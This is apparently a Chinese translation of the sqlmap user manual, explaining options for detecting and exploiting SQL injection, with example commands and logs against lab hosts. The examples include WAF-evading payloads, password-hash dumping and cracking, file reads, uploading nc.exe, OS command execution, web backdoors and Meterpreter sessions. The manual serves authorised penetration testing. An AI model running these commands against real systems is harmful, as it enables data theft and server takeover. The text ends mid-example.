sqlmap 用户手册

当给 sqlmap 这么一个 url 的时候，它会：

1、判断可注入的参数
2、判断可以用那种 SQL 注入技术来注入
3、识别出哪种数据库
4、根据用户选择，读取哪些数据

sqlmap 支持五种不同的注入模式：

1、基于布尔的盲注，即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。
3、基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。
4、联合查询注入，可以使用 union 的情况下的注入。
5、堆查询注入，可以同时执行多条语句的执行时的注入。

sqlmap 支持的数据库有：

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase 和 SAP MaxDB

可以提供一个简单的 URL，Burp 或 WebScarab 请求日志文件，文本文档中的完整 http 请求或者 Google 的搜索，匹配出结果页面，也可以自己定义一个正则来判断那个地址去测试。

测试 GET 参数，POST 参数，HTTP Cookie 参数，HTTP User-Agent 头和 HTTP Referer 头来确认是否有 SQL 注入，它也可以指定用逗号分隔的列表的具体参数来测试。

可以设定 HTTP(S)请求的并发数，来提高盲注时的效率。

如果你想观察 sqlmap 对一个点是进行了怎样的尝试判断以及读取数据的，可以使用-v 参数。

共有七个等级，默认为 1：

0、只显示 python 错误以及严重的信息。 1、同时显示基本信息和警告信息。（默认） 2、同时显示 debug 信息。 3、同时显示注入的 payload。 4、同时显示 HTTP 请求。 5、同时显示 HTTP 响应头。 6、同时显示 HTTP 响应页面。

如果你想看到 sqlmap 发送的测试 payload 最好的等级就是 3。

1. 获取目标方式

目标 URL

参数：-u 或者--url

格式：http(s)://targeturl[:port]/[...]

例如：python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users

从 Burp 或者 WebScarab 代理中获取日志

参数：-l

可以直接把 Burp proxy 或者 WebScarab proxy 中的日志直接倒出来交给 sqlmap 来一个一个检测是否有注入。

从文本中获取多个目标扫描

参数：-m

文件中保存 url 格式如下，sqlmap 会一个一个检测

```
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
```

从文件中加载 HTTP 请求

参数：-r

sqlmap 可以从一个文本文件中获取 HTTP 请求，这样就可以跳过设置一些其他参数（比如 cookie，POST 数据，等等）。

比如文本文件内如下：

```
POST /vuln.php  HTTP/1.1
Host:  www.target.com
User-Agent:  Mozilla/4.0
id=1
```

当请求是 HTTPS 的时候你需要配合这个--force-ssl 参数来使用，或者你可以在 Host 头后门加上:443

处理 Google 的搜索结果

参数：-g

sqlmap 可以测试注入 Google 的搜索结果中的 GET 参数（只获取前 100 个结果）。

例子：

```
python sqlmap.py   -g "inurl:\".php?id=1\""
```

此外可以使用-c 参数加载 sqlmap.conf 文件里面的相关配置。

2. 请求

http 数据

参数：--data

此参数是把数据以 POST 方式提交，sqlmap 会像检测 GET 参数一样检测 POST 的参数。

例子：

```
python sqlmap.py   -u "http://www.target.com/vuln.php" --
data="id=1" -f   --banner --dbs --users
```

参数拆分字符

参数：--param-del

当 GET 或 POST 的数据需要用其他字符分割测试参数的时候需要用到此参数。

例子：

```
python sqlmap.py  -u "http://www.target.com/vuln.php"  --
data="query=foobar;id=1" --param-del=";" -f --banner  --dbs --users
```

HTTP cookie 头

参数：--cookie,--load-cookies,--drop-set-cookie

这个参数在以下两个方面很有用：

1、web 应用需要登陆的时候。

2、你想要在这些头参数中测试 SQL 注入时。

可以通过抓包把 cookie 获取到，复制出来，然后加到--cookie 参数里。

在 HTTP 请求中，遇到 Set-Cookie 的话，sqlmap 会自动获取并且在以后的请求中加入，并且会尝试 SQL 注入。

如果你不想接受 Set-Cookie 可以使用--drop-set-cookie 参数来拒接。

当你使用--cookie 参数时，当返回一个 Set-Cookie 头的时候，sqlmap 会询问你用哪个 cookie 来继续接下来的请求。当--level 的参数设定为 2 或者 2 以上的时候，sqlmap 会尝试注入 Cookie 参数。

HTTP User-Agent 头

参数：--user-agent,--random-agent

默认情况下 sqlmap 的 HTTP 请求头中 User-Agent 值是：

```
sqlmap/1.0-dev-xxxxxxx  (http://sqlmap.org)
```

可以使用--user-anget 参数来修改，同时也可以使用--random-agnet 参数来随机的从./txt/user-agents.txt 中获取。

当--level 参数设定为 3 或者 3 以上的时候，会尝试对 User-Angent 进行注入。

HTTP Referer 头

参数：--referer

sqlmap 可以在请求中伪造 HTTP 中的 referer，当--level 参数设定为 3 或者 3 以上的时候会尝试对 referer 注入。

额外的 HTTP 头

参数：--headers

可以通过--headers 参数来增加额外的 http 头

HTTP 认证保护

参数：--auth-type,--auth-cred

这些参数可以用来登陆 HTTP 的认证保护支持三种方式：

1、Basic

2、Digest

3、NTLM

例子：

```
python sqlmap.py   -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1"   --auth-type Basic --auth-cred "testuser:testpass"
```

HTTP 协议的证书认证

参数：--auth-cert

当 Web 服务器需要客户端证书进行身份验证时，需要提供两个文件:key_file，cert_file。

key_file 是格式为 PEM 文件，包含着你的私钥，cert_file 是格式为 PEM 的连接文件。

HTTP(S)代理

参数：--proxy,--proxy-cred 和--ignore-proxy

使用--proxy 代理是格式为：http://url:port。

当 HTTP(S)代理需要认证是可以使用--proxy-cred 参数：username:password。

--ignore-proxy 拒绝使用本地局域网的 HTTP(S)代理。

HTTP 请求延迟

参数：--delay

可以设定两个 HTTP(S)请求间的延迟，设定为 0.5 的时候是半秒，默认是没有延迟的。

设定超时时间

参数：--timeout

可以设定一个 HTTP(S)请求超过多久判定为超时，10.5 表示 10.5 秒，默认是 30 秒。

设定重试超时

参数：--retries

当 HTTP(S)超时时，可以设定重新尝试连接次数，默认是 3 次。

设定随机改变的参数值

参数：--randomize

可以设定某一个参数值在每一次请求中随机的变化，长度和类型会与提供的初始值一样。

利用正则过滤目标网址

参数：--scope

例如：

```
python sqlmap.py   -l burp.log --
scope="(www)?\.target\.(com|net|org)"
```

避免过多的错误请求被屏蔽

参数：--safe-url,--safe-freq

有的 web 应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求，这样在 sqlmap 进行探测或者注入的时候可能造成错误请求而触发这个策略，导致以后无法进行。

绕过这个策略有两种方式：

```
1、--safe-url：提供一个安全不错误的连接，每隔一段时间都会去访问一下。
2、--safe-freq：提供一个安全不错误的连接，每次测试请求之后都会再访问一边安全连接。
```

关掉 URL 参数值编码

参数：--skip-urlencode

根据参数位置，他的值默认将会被 URL 编码，但是有些时候后端的 web 服务器不遵守 RFC 标准，只接受不经过 URL 编码的值，这时候就需要用--skip-urlencode 参数。

每次请求时候执行自定义的 python 代码

参数：--eval

在有些时候，需要根据某个参数的变化，而修改另个一参数，才能形成正常的请求，这时可以用--eval 参数在每次请求时根据所写 python 代码做完修改后请求。

例子：

```
python sqlmap.py   -u
```

```
"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"  --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
```

上面的请求就是每次请求时根据 id 参数值，做一次 md5 后作为 hash 参数的值。

3. 注入

测试参数

参数：-p,--skip

sqlmap 默认测试所有的 GET 和 POST 参数，当--level 的值大于等于 2 的时候也会测试 HTTP Cookie 头的值，当大于等于 3 的时候也会测试 User-Agent 和 HTTP Referer 头的值。但是你可以手动用-p 参数设置想要测试的参数。例如： -p "id,user-anget"

当你使用--level 的值很大但是有个别参数不想测试的时候可以使用--skip 参数。

例如：--skip="user-angent.referer"

在有些时候 web 服务器使用了 URL 重写，导致无法直接使用 sqlmap 测试参数，可以在想测试的参数后面加*

例如：

```
python sqlmap.py  -u
```

```
"http://targeturl/param1/value1*/param2/value2/"
```

sqlmap 将会测试 value1 的位置是否可注入。

指定数据库

参数：--dbms

默认情况系 sqlmap 会自动的探测 web 应用后端的数据库是什么，sqlmap 支持的数据库有：

```
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP　MaxDB、DB2
```

指定数据库服务器系统

参数：--os

默认情况下 sqlmap 会自动的探测数据库服务器系统，支持的系统有：Linux、Windows。

指定无效的大数字

参数：--invalid-bignum

当你想指定一个报错的数值时，可以使用这个参数，例如默认情况系 id=13，sqlmap 会变成 id=-13 来报错，你可以指定比如 id=9999999 来报错。

只定无效的逻辑

参数：--invalid-logical

原因同上，可以指定 id=13 把原来的 id=-13 的报错改成 id=13 AND 18=19。

注入 payload

参数：--prefix,--suffix

在有些环境中，需要在注入的 payload 的前面或者后面加一些字符，来保证 payload 的正常执行。

例如，代码中是这样调用数据库的：

```
$query = "SELECT * FROM users WHERE id=(' " . $_GET['id'] . "') LIMIT 0, 1";
```

这时你就需要--prefix 和--suffix 参数了：

```
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
```

这样执行的 SQL 语句变成：

```
$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";
```

修改注入的数据

参数：--tamper

sqlmap 除了使用 CHAR()函数来防止出现单引号之外没有对注入的数据修改，你可以使用--tamper 参数对数据做修改来绕过 WAF 等设备。

下面是一个 tamper 脚本的格式：

```
# Needed imports
from   lib.core.enums import PRIORITY
# Define which is   the order of application of tamper scripts against
# the payload
__priority__ =   PRIORITY.NORMAL
def   tamper(payload):
    '''
    Description   of your tamper script
    '''
    retVal   = payload
    #   your code to tamper the original payload
    #   return the tampered payload
    return   retVal
```

可以查看 tamper/ 目录下的有哪些可用的脚本

例如：

```
$ python sqlmap.py   -u
"http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --
tamper   tamper/between.py,tamper/randomcase.py,tamper/space2co
mment.py -v 3
[hh:mm:03] [DEBUG]   cleaning up configuration parameters
[hh:mm:03] [INFO]   loading tamper script 'between'
[hh:mm:03] [INFO] loading   tamper script 'randomcase'
[hh:mm:03] [INFO]   loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO]   testing 'AND boolean-based blind - WHERE or
HAVING clause'
[hh:mm:04]   [PAYLOAD]
1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04]
[PAYLOAD]   1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04]   [PAYLOAD] 1/**/AnD/**/950=7041
```

```
[...]
[hh:mm:04] [INFO]  testing 'MySQL >= 5.0 AND error-based - WHERE
or HAVING clause'
[hh:mm:04]  [PAYLOAD]
1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHa
r(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/
**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/informa
tion_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO]  GET parameter 'id' is 'MySQL >= 5.0 AND error-
based - WHERE or HAVING
clause' injectable
[...]
```

4. 探测

探测等级

参数：--level

共有五个等级，默认为 1，sqlmap 使用的 payload 可以在 xml/payloads.xml 中看到，你也可以根据相应的格式添加自己的 payload。

这个参数不仅影响使用哪些 payload 同时也会影响测试的注入点，GET 和 POST 的数据都会测试，HTTP Cookie 在 level 为 2 的时候就会测试，HTTP User-Agent/Referer 头在 level 为 3 的时候就会测试。

总之在你不确定哪个 payload 或者参数为注入点的时候，为了保证全面性，建议使用高的 level 值。

风险等级

参数：--risk

共有四个风险等级，默认是 1 会测试大部分的测试语句，2 会增加基于事件的测试语句，3 会增加 OR 语句的 SQL 注入测试。

在有些时候，例如在 UPDATE 的语句中，注入一个 OR 的测试语句，可能导致更新的整个表，可能造成很大的风险。

测试的语句同样可以在 xml/payloads.xml 中找到，你也可以自行添加 payload。

页面比较

参数：--string,--not-string,--regexp,--code

默认情况下 sqlmap 通过判断返回页面的不同来判断真假，但有时候这会产生误差，因为有的页面在每次刷新的时候都会返回不同的代码，比如页面当中 包含一个动态的广告或者其他内容，这会导致 sqlmap 的误判。此时用户可以提供一个字符串或者一段正则匹配，在原始页面与真条件下的页面都存在的字符 串，而错误页面中不存在（使用--string 参数添加字符串，--regexp 添加正则），同时用户可以提供一段字符串在原始页面与真条件下的页面都不 存在

的字符串，而错误页面中存在的字符串（--not-string 添加）。用户也可以提供真与假条件返回的 HTTP 状态码不一样来注入，例如，响应 200 的时候为真，响应 401 的时候为假，可以添加参数--code=200。

参数：--text-only,--titles

有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用--text-only（HTTP 响应体中不同）--titles（HTML 的 title 标签中不同）。

5. 注入技术

测试是否是注入

参数：--technique

这个参数可以指定 sqlmap 使用的探测技术，默认情况下会测试所有的方式。

支持的探测方式如下：

```
B: Boolean-based  blind SQL injection（布尔型注入）
E: Error-based SQL  injection（报错型注入）
U: UNION query SQL  injection（可联合查询注入）
S: Stacked queries  SQL injection（可多语句查询注入）
T: Time-based  blind SQL injection（基于时间延迟注入）
```

设定延迟注入的时间

参数：--time-sec

当使用继续时间的盲注时，时刻使用--time-sec 参数设定延时时间，默认是 5 秒。

设定 UNION 查询字段数

参数：--union-cols

默认情况下 sqlmap 测试 UNION 查询注入会测试 1-10 个字段数，当--level 为 5 的时候他会增加测试到 50 个字段数。设定--union-cols 的值应该是一段整数，如：12-16，是测试 12-16 个字段数。

设定 UNION 查询使用的字符

参数：--union-char

默认情况下 sqlmap 针对 UNION 查询的注入会使用 NULL 字符，但是有些情况下会造成页面返回失败，而一个随机整数是成功的，这是你可以用--union-char 只定 UNION 查询的字符。

二阶 SQL 注入

参数：--second-order

有些时候注入点输入的数据看返回结果的时候并不是当前的页面，而是另外的一个页面，这时候就需要你指定到哪个页面获取响应判断真假。--second-order 后门跟一个判断页面的 URL 地址。

6. 列数据

标志

参数：-b,--banner

大多数的数据库系统都有一个函数可以返回数据库的版本号，通常这个函数是 version()或者变量@@version 这主要取决与是什么数据库。

用户

参数：-current-user

在大多数据库中可以获取到管理数据的用户。

当前数据库

参数：--current-db

返还当前连接的数据库。

当前用户是否为管理用

参数：--is-dba

判断当前的用户是否为管理，是的话会返回 True。

列数据库管理用户

参数：--users

当前用户有权限读取包含所有用户的表的权限时，就可以列出所有管理用户。

列出并破解数据库用户的 hash

参数：--passwords

当前用户有权限读取包含用户密码的彪的权限时，sqlmap 会现列举出用户，然后列出 hash，并尝试破解。

例子：

```
$ python sqlmap.py  -u
"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1"  --
passwords -v 1
[...]
back-end DBMS:  PostgreSQL
[hh:mm:38] [INFO]  fetching database users password hashes
do you want to use  dictionary attack on retrieved password hashes?
[Y/n/q] y
[hh:mm:42] [INFO]  using hash method: 'postgres_passwd'
what's the  dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO]  loading dictionary from:
'/software/sqlmap/txt/wordlist.txt'
do you want to use  common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO]  starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO]  found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO]  found: 'testpass' for user: 'postgres'
database  management system users password hashes:
[*] postgres [1]:
  password  hash: md5d7d880f96044b72d0bba108ace96d1e4
  clear-text  password: testpass
```

```
[*] testuser [1]:
    password    hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text    password: testpass
```

可以看到 sqlmap 不仅勒出数据库的用户跟密码，同时也识别出是 PostgreSQL 数据库，并询问用户是否采用字典爆破的方式进行破解，这个爆破已经支持 Oracle 和 Microsoft SQL Server。

也可以提供-U 参数来指定爆破哪个用户的 hash。

列出数据库管理员权限

参数：--privileges

当前用户有权限读取包含所有用户的表的权限时，很可能列举出每个用户的权限，sqlmap 将会告诉你哪个是数据库的超级管理员。也可以用-U 参数指定你想看哪个用户的权限。

列出数据库管理员角色

参数：--roles

当前用户有权限读取包含所有用户的表的权限时，很可能列举出每个用户的角色，也可以用-U 参数指定你想看哪个用户的角色。

仅适用于当前数据库是 Oracle 的时候。

列出数据库系统的数据库

参数：--dbs

当前用户有权限读取包含所有数据库列表信息的表中的时候，即可列出所有的数据库。

列举数据库表

参数：--tables,--exclude-sysdbs,-D

当前用户有权限读取包含所有数据库表信息的表中的时候，即可列出一个特定数据的所有表。

如果你不提供-D 参数来列指定的一个数据的时候，sqlmap 会列出数据库所有库的所有表。

--exclude-sysdbs 参数是指包含了所有的系统数据库。

需要注意的是在 Oracle 中你需要提供的是 TABLESPACE_NAME 而不是数据库名称。

列举数据库表中的字段

参数：--columns,-C,-T,-D

当前用户有权限读取包含所有数据库表信息的表中的时候，即可列出指定数据库表中的字段，同时也会列出字段的数据类型。

如果没有使用-D 参数指定数据库时，默认会使用当前数据库。

列举一个 SQLite 的例子：

```
$ python sqlmap.py   -u
```

```
"http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1"  --columns
-D testdb -T users -C name
[...]
Database:  SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
|  Column  | Type   |
+---------+---------+
|  id     | INTEGER |
|  name    | TEXT  |
| surname    | TEXT  |
+---------+---------+
```

列举数据库系统的架构

参数：--schema,--exclude-sysdbs

用户可以用此参数获取数据库的架构，包含所有的数据库，表和字段，以及各自的类型。

加上--exclude-sysdbs 参数，将不会获取数据库自带的系统库内容。

MySQL 例子：

```
$ python sqlmap.py  -u
"http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema  --
batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+------------+---------+
|  Column     | Type   |
```

```
+------------+---------+
|   cid      | int(11)     |
| mysignature     | text    |
|   password    | text    |
|   username    | text    |
+------------+---------+
Database: owasp10
Table: blogs_table
[4 columns]
+-------------+----------+
|   Column      | Type   |
+-------------+----------+
|   date        | datetime |
| blogger_name      | text   |
| cid        |   int(11) |
|   comment      | text   |
+-------------+----------+
Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
|   Column   | Type    |
+----------+----------+
|   date     | datetime |
|   browser    | text     |
|   cid     | int(11) |
| hostname     | text   |
|   ip      | text   |
|   referer    | text     |
+----------+----------+
Database: testdb
Table: users
[3 columns]
```

```
+---------+--------------+
|  Column  | Type    |
+---------+--------------+
|  id     | int(11)   |
| name    |  varchar(500) |
| surname     | varchar(1000) |
+---------+--------------+
[...]
```

获取表中数据个数

参数：--count

有时候用户只想获取表中的数据个数而不是具体的内容，那么就可以使用这个参数。

列举一个 Microsoft SQL Server 例子：

```
$ python sqlmap.py   -u
"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count   -
D testdb
[...]
Database: testdb
+---------------+---------+
|  Table       | Entries |
+---------------+---------+
|  dbo.users     | 4    |
|  dbo.users_blob     |  2    |
+---------------+---------+
```

获取整个表的数据

参数：--dump,-C,-T,-D,--start,--stop,--first,--last

如果当前管理员有权限读取数据库其中的一个表的话，那么就能获取真个表的所有内容。

使用-D,-T 参数指定想要获取哪个库的哪个表，不适用-D 参数时，默认使用当前库。

列举一个 Firebird 的例子：

```
$ python sqlmap.py   -u
"http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump   -
T users
[...]
Database:   Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID |   NAME   | SURNAME  |
+----+--------+------------+
| 1  |   luther | blisset  |
| 2  |   fluffy | bunny    |
| 3  |   wu   | ming     |
| 4  |   NULL   | nameisnull |
+----+--------+------------+
```

可以获取指定库中的所有表的内容，只用-dump 跟-D 参数（不使用-T 与-C 参数）。

也可以用-dump 跟-C 获取指定的字段内容。

sqlmap 为每个表生成了一个 CSV 文件。

如果你只想获取一段数据，可以使用--start 和--stop 参数，例如，你只想获取第一段数据可 hi 使用--stop 1，如果想获取第二段与第三段数据，使用参数 --start 1 --stop 3。

也可以用--first 与--last 参数，获取第几个字符到第几个字符的内容，如果你想获取字段中地三个字符到第五个字符的内容，使用--first 3 --last 5，只在盲注的时候使用，因为其他方式可以准确的获取注入内容，不需要一个字符一个字符的猜解。

获取所有数据库表的内容

参数：--dump-all,--exclude-sysdbs

使用--dump-all 参数获取所有数据库表的内容，可同时加上--exclude-sysdbs 只获取用户数据库的表，需要注意在 Microsoft SQL Server 中 master 数据库没有考虑成为一个系统数据库，因为有的管理员会把他当初用户数据库一样来使用它。

搜索字段，表，数据库

参数：--search,-C,-T,-D

--search 可以用来寻找特定的数据库名，所有数据库中的特定表名，所有数据库表中的特定字段。

可以在一下三种情况下使用：

```
-C 后跟着用逗号分割的列名，将会在所有数据库表中搜索指定的列名。
-T 后跟着用逗号分割的表名，将会在所有数据库中搜索指定的表名
-D 后跟着用逗号分割的库名，将会在所有数据库中搜索指定的库名。
```

运行自定义的 SQL 语句

参数：--sql-query,--sql-shell

sqlmap 会自动检测确定使用哪种 SQL 注入技术，如何插入检索语句。

如果是 SELECT 查询语句，sqlap 将会输出结果。如果是通过 SQL 注入执行其他语句，需要测试是否支持多语句执行 SQL 语句。

列举一个 Mircrosoft SQL Server 2000 的例子：

```
$ python sqlmap.py   -u
"http://192.168.136.131/sqlmap/mssql/get_int.php?id=1"   --sql-
query "SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO]   fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO]   retrieved: foo
SELECT   'foo':    'foo'
$ python sqlmap.py   -u
"http://192.168.136.131/sqlmap/mssql/get_int.php?id=1"   --sql-
query "SELECT 'foo', 'bar'" -v 2
[...]
[hh:mm:50] [INFO]   fetching SQL SELECT query output: 'SELECT 'foo',
'bar''
[hh:mm:50] [INFO]   the SQL query provided has more than a field.
sqlmap will now unpack it into
distinct queries   to be able to retrieve the output even if we are going
blind
[hh:mm:50] [DEBUG]   query: SELECT
ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
```

```
VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO]   retrieved: foo
[hh:mm:50] [DEBUG]   performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG]   query: SELECT
ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO]   retrieved: bar
[hh:mm:50] [DEBUG]   performed 27 queries in 0 seconds
SELECT 'foo',   'bar':    'foo, bar'
```

7. 爆破

暴力破解表名

参数：--common-tables

当使用--tables 无法获取到数据库的表时，可以使用此参数。

通常是如下情况：

```
1、MySQL 数据库版本小于 5.0，没有 information_schema 表。
2、数据库是 Microssoft Access，系统表 MSysObjects 是不可读的（默
认）。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
```

暴力破解的表在 txt/common-tables.txt 文件中，你可以自己添加。

列举一个 MySQL 4.1 的例子：

```
$ python sqlmap.py   -u
"http://192.168.136.129/mysql/get_int_4.php?id=1" --common-
tables   -D testdb --banner
[...]
```

```
[hh:mm:39] [INFO]   testing MySQL
[hh:mm:39] [INFO]   confirming MySQL
[hh:mm:40] [INFO]   the back-end DBMS is MySQL
[hh:mm:40] [INFO]   fetching banner
web server   operating system: Windows
web application   technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS   operating system: Windows
back-end DBMS:   MySQL &lt; 5.0.0
banner:    '4.1.21-community-nt'
[hh:mm:40] [INFO]   checking table existence using items
from   '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [INFO]   adding words used on web page to the check list
please enter   number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO]   retrieved: users
Database: testdb
[1 table]
+-------+
| users |
+-------+
```

暴力破解列名

参数：--common-columns

与暴力破解表名一样，暴力跑的列名在 txt/common-columns.txt 中。

用户自定义函数注入

参数：--udf-inject,--shared-lib

你可以通过编译 MySQL 注入你自定义的函数（UDFs）或 PostgreSQL 在 windows 中共享库，DLL，或者 Linux/Unix 中共 享对象，sqlmap 将会问你

一些问题，上传到服务器数据库自定义函数，然后根据你的选择执行他们，当你注入完成后，sqlmap 将会移除它们。

8. 系统文件操作

从数据库服务器中读取文件

参数：--file-read

当数据库为 MySQL，PostgreSQL 或 Microsoft SQL Server，并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。

列举一个 Microsoft SQL Server 2005 的例子：

```
$ python sqlmap.py -
u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther
" \
--file-read "C:/example.exe" -v 1
[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file
saved to: '/software/sqlmap/output/192.168.136.129/files/C__exampl
e.exe'
[...]
$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD
```

```
hh:mm   output/192.168.136.129/files/C__example.exe
$ file   output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe:   PE32 executable for MS
Windows (GUI) Intel
80386 32-bit
```

把文件上传到数据库服务器中

参数：--file-write,--file-dest

当数据库为 MySQL，PostgreSQL 或 Microsoft SQL Server，并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。

列举一个 MySQL 的例子：

```
$ file   /software/nc.exe.packed
/software/nc.exe.packed:   PE32 executable for MS Windows (console)
Intel 80386 32-bit
$ ls -l   /software/nc.exe.packed
-rwxr-xr-x 1   inquis inquis 31744 2009-MM-DD hh:mm
/software/nc.exe.packed
$ python sqlmap.py   -u
"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1"   --file-
write \
"/software/nc.exe.packed"   --file-dest "C:/WINDOWS/Temp/nc.exe" -
v 1
[...]
[hh:mm:29] [INFO]   the back-end DBMS is MySQL
web server operating   system: Windows 2003 or 2008
web application   technology: ASP.NET, Microsoft IIS 6.0, ASP.NET
2.0.50727
back-end DBMS:   MySQL &gt;= 5.0.0
[...]
do you want   confirmation that the file 'C:/WINDOWS/Temp/nc.exe'
```

```
has been successfully
written on the back-end  DBMS file system? [Y/n] y
[hh:mm:52] [INFO]  retrieved: 31744
[hh:mm:52] [INFO]  the file has been successfully written and its size
is 31744 bytes,
same size as the  local file '/software/nc.exe.packed'
```

运行任意操作系统命令

参数：--os-cmd,--os-shell

当数据库为 MySQL，PostgreSQL 或 Microsoft SQL Server，并且当前用户有权限使用特定的函数。

在 MySQL、PostgreSQL，sqlmap 上传一个二进制库，包含用户自定义的函数，sys_exec()和 sys_eval()。

那么他创建的这两个函数可以执行系统命令。在 Microsoft SQL Server，sqlmap 将会使用 xp_cmdshell 存储过程，如果被禁（在 Microsoft SQL Server 2005 及以上版本默认禁制），sqlmap 会重新启用它，如果不存在，会自动创建。

列举一个 PostgreSQL 的例子：

```
$ python sqlmap.py  -u
"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
--os-cmd id -v 1
[...]
web application  technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS:  PostgreSQL
[hh:mm:12] [INFO]  fingerprinting the back-end DBMS operating
```

```
system
[hh:mm:12] [INFO]   the back-end DBMS operating system is Linux
[hh:mm:12] [INFO]   testing if current user is DBA
[hh:mm:12] [INFO]   detecting back-end DBMS version from its
banner
[hh:mm:12] [INFO]   checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO]   checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO]   creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO]   creating UDF 'sys_exec' from the binary UDF file
do you want to   retrieve the command standard output? [Y/n/a] y
command standard   output:    'uid=104(postgres)
gid=106(postgres)   groups=106(postgres)'
[hh:mm:19] [INFO]   cleaning up the database management system
do you want to   remove UDF 'sys_eval'? [Y/n] y
do you want to   remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO]   database management system cleanup finished
[hh:mm:23]   [WARNING] remember that UDF shared object files
saved on the file system can
only be deleted   manually
```

用--os-shell 参数也可以模拟一个真实的 shell，可以输入你想执行的命令。

当不能执行多语句的时候（比如 php 或者 asp 的后端数据库为 MySQL 时），仍然可能使用 INTO OUTFILE 写进可写目录，来创建一个 web 后门。

支持的语言：

```
1、ASP
2、ASP.NET
3、JSP
4、PHP
```

Meterpreter 配合使用

参数：--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path

当数据库为 MySQL，PostgreSQL 或 Microsoft SQL Server，并且当前用户有权限使用特定的函数，可以在数据库与攻击者直接建立 TCP 连接，这个连接可以是一个交互式命令行的 Meterpreter 会 话，sqlmap 根据 Metasploit 生成 shellcode，并有四种方式执行它：

1、通过用户自定义的 sys_bineval()函数在内存中执行 Metasplit 的 shellcode，支持 MySQL 和 PostgreSQL 数据库，参数：--os-pwn。
2、通过用户自定义的函数上传一个独立的 payload 执行，MySQL 和 PostgreSQL 的 sys_exec()函数，Microsoft SQL Server 的 xp_cmdshell() 函数，参数：--os-pwn。
3、通过 SMB 攻击(MS08-068)来执行 Metasploit 的 shellcode，当 sqlmap 获取到的权限足够高的时候（Linux/Unix 的 uid=0，Windows 是 Administrator），--os-smbrelay。
4、通过溢出 Microsoft SQL Server 2000 和 2005 的 sp_replwritetovarbin 存储过程(MS09-004)，在内存中执行 Metasploit 的 payload，参数：--os-bof

列举一个 MySQL 例子：

```
$ python sqlmap.py   -u
"http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1"   --
os-pwn --msf-path /software/metasploit
[...]
[hh:mm:31] [INFO]   the back-end DBMS is MySQL
web server   operating system: Windows 2003
web application   technology: ASP.NET, ASP.NET 4.0.30319, Microsoft
```

```
IIS 6.0
